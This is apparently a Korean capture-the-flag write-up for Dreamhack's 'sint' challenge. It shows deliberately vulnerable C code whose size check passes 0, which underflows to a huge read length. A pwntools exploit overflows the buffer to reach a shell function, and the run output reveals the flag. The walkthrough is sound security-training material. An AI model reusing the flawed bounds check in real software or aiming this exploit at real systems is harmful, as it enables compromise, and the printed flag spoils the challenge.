#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
⇾ size에 0을 넣으면 if문을 우회할 수 있습니다. 그리고 read 함수의 세번째 인자는 부호가 없기 때문에 -1이 들어오면 Integer Underflow가 발생해서 4294967295 크기 만큼 입력을 받게 되어 버퍼 오버플로우가 발생합니다.
0x080486e2 <+118>: mov eax,DWORD PTR [ebp-0x104]
0x080486e8 <+124>: sub eax,0x1
0x080486eb <+127>: push eax
0x080486ec <+128>: lea eax,[ebp-0x100]
0x080486f2 <+134>: push eax
0x080486f3 <+135>: push 0x0
0x080486f5 <+137>: call 0x8048450 <read@plt>
from pwn import *
p = remote("host3.dreamhack.games", 10219)
e = ELF("./sint")
get_shell = e.symbols['get_shell']
payload = b'A' * 0x104
payload += p32(get_shell)
p.sendlineafter("Size: ", str(0))
p.sendlineafter("Data: ", payload)
p.interactive()
kali@kali ~/wargame/dreamhack/sint python3 remote.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 10219: Done
[*] '/home/kali/wargame/dreamhack/sint/sint'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
flag
sint
$ cat flag
DH{d66e84c453b960cfe37780e8ed9d70ab}